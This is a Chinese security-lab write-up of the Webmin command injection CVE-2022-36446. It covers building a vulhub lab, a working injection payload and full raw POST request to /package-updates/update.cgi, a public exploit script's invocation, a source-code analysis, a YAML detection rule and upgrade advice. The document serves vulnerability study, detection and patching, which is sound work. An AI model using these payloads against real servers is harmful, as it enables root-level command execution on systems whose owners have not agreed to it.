Webmin命令执行漏洞(CVE-2022-36446)--漏洞文库小世界-安全文库-NGC660 安全实验室

Webmin命令执行漏洞(CVE-2022-36446)-

0x01 漏洞描述

威胁等级:严重
Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。在版本1.997之前的Webmin中存在一个任意命令注入漏洞,触发该漏洞需登录Webmin

0x02 漏洞影响范围

WebMin < 1.997

0x03 漏洞利用条件

此漏洞需要身份验证,并且该账户必须有权限访问软件包更新模块。

0x04 漏洞复现

环境搭建

使用vulhub搭建环境,把vulhub下载到本地

git clone https://github.com/vulhub/vulhub 

m_9ff2506ee729c117d1d5ad789b52bad8_r

进入vulhub/webmin/CVE0=-2019-15107,使用此环境进行CVE-2022-36446漏洞复现。

docker-compose up -d   #  启动漏洞环境
docker-compose ps      # 查看漏洞环境映射的端口

m_11920d326ed5656b3e782efa13e59758_r

访问https://ip:10000出现以下界面表示环境部署成功
m_22a7740ec41825c5fe88112fb62efc76_r

接下来需要修改webmin的密码,需要进入容器中修改

docker ps     # 查看漏洞环境容器id
docker exec -it 容器id /bin/bash    # 进入容器内部
cd /usr/share/webmin/                     # 进入容器内的/usr/share/webmin/目录下
./changepass.pl /etc/webmin root root   # 将root密码设置为root

m_09cb47571525bc32e04947078467fadf_r

漏洞复现

以上设置完之后,使用root/root登录webmin。
m_e5e4835b9040b8709b331c15b6559a8d_r

抓取登录后的任意数据包
m_06dc2b78de5adedfdc7cb972a86533c2_r

发送到Repeater模块,更改请求方式为POST
m_eaac456847f16db6011606d99b2cf192_r

更改请求路径为/package-updates/update.cgi,添加payload,发送请求,返回包中出现命令执行结果。

mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow

m_841e4145481629e0302f0dc8ad0649ee_r

POST /package-updates/update.cgi HTTP/1.1
Host: X.X.X.X:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-From: mount
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://X.X.X.X:10000/mount/?xnavigation=1
Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

mode=new&search=ssh&redir=&redirdesc=&u=0%3Bid%3B&confirm=Install%2BNow

m_a73ec1f4c16ad8ffce42cd2cbbadcd82_r

EXP

也可直接通过脚本进行漏洞利用,EXP地址:https://github.com/p0dalirius/CVE-2022-36446-Webmin-Software-Package-Updates-RCE

python3 CVE-2022-36446.py -t https://X.X.X.X:10000/ -u root -p root -k -I

m_33fecf88e52387b4ad9ea45d7b84f685_r

有可能会出现以下报错
m_b71a992d4b4153b0846fcf487e32a87a_r

将CVE-2022-36446.py文件中的soup = BeautifulSoup(r.content, 'lxml')全部改为soup = BeautifulSoup(r.content, 'html.parser'),再重新执行即可。
m_ce1cecb22a5d40c42d86c205af49c8a8_r

0x05 漏洞分析

命令执行:
当应用需要调用外部程序处理某些内容的情况下,就会用到一些执行系统命令的函数,比如最常见的php中的system、exec、shell_exec等等。当用户可以控制命令执行函数中的参数时,就可以注入一些恶意的系统命令到正常的命令中,造成命令执行攻击。

Webmin使用操作系统包管理器(apt、yum等)来执行包更新和安装。由于缺乏输入清理(1.997之前的Webmin中的software/apt-lib.pl缺少UI命令的HTML转义),可以注入将连接到包管理器调用的任意命令。

此漏洞需要身份验证,并且该账户必须有权限访问软件包更新模块,用户可以通过在新软件包安装期间执行系统命令,并以root权限运行命令。
m_d38f7a56252429b92fe8367b600df15c_r

该模块在/package-updates/文件夹下开发。其中有一个update.cgi文件,该文件中第39行使用参数U指定用户的包名称,并在第50行检查请求中是否存在“confirm”参数。第57行,如果请求中没有“confirm”参数,就会调用带有变量“pkgnames”的“list_package_operations()”函数,其中存储了包名。
m_e6d65218798e4025247cbd3cf1241b92_r

通过/package-updates/update.cgi文件的第4行可知,“list_package_operations”函数位于“pakage-updates-lib.pl”文件中。
m_5631559a73af10c244fc913cd5488404_r

“list_package_operations()”函数定义于pakage-updates-lib.pl文件的第408行。此函数将“$name”的值(即包名)发送到第412行中名为software文件中的“update_system_operations()”函数。
m_e648f2a51dc78e54c087975333c006a1_r

再通过搜索功能找到定义update_system_operations()函数的文件为apt-lib.pl和yum-lib.pl。
顾名思义,apt-lib.pl文件使用的是apt包,yum-lib.pl文件使用的是yum包。两者所做的工作是相同的,但是因为运行Webmin的系统和该系统的包管理器不同,所以只是文件中的某些命令会不同,故分析哪个文件都可以
查看/software/apt-lib.pl文件,在第75行定义了update_system_operations()函数。第83行,通过“backquote_command()”函数来执行系统命令,也是通过此函数对系统运行的命令进行安全控制,也防止用户在此注入命令。
m_d94c765278ca8c82a4e106da9b4e0f44_r

再继续看update.cgi文件,如果需要安装一个包,则会调用第129行的“package_install()”函数。
m_20284014f81dcef971fcfc7bb899f59d_r

通过查找,package_install()函数位于“package-updates-lib.pl”文件中第300行。查看函数内容发现,“update_system_install()”函数是通过“$name”变量调用的,它是用户在第345行给出的包名(从之前的分析得出,这些函数是在apt-lib.pl文件中定义的)。
m_b4745054bcafdd0a23da3ac5005243e7_r

m_0cc4c2b7444e88386f607c28278fcabb_r

再查看apt-lib.pl文件,找到相关函数。
第18行看到函数的第一个参数(即用户之前发送的包名)被分配给“$update”变量。
第26行,“$update”变量被包含在了命令中,而且没有做任何的控制机制。
第46行发现,相关的命令会直接在系统上执行,也是没有做任何的控制机制。
所以,用户可以通过在新的软件包安装请求中提供“confirm”参数,并在软件包中指定在系统上运行命令的值,以root权限在系统上执行命令。
m_c3221664976d3d67737e5e4db9cda951_r

0x06 检测POC规则编写

params:
- mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
name: Webmin命令执行漏洞(CVE-2022-36446set: {}
rules:
- method: POST
  path: /package-updates/update.cgi
  headers:
    Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
  body: mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(b"root")
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""

m_426af1a62b41dd8331ab833da40bd8e3_r

0x07 漏洞修复

升级到1.997及以上版本
补丁获取链接:
https://github.com/webmin/webmin/commit/13f7bf9621a82d93f1e9dbd838d1e22020221bdehttps://www.webmin.com/download.html

 

参考:
https://blog.csdn.net/qq_44281295/article/details/126345900

https://mp.weixin.qq.com/s/xdtN0Tt4VhTTh_R4sOC-vA

https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165

请登录后发表评论

    请登录后查看回复内容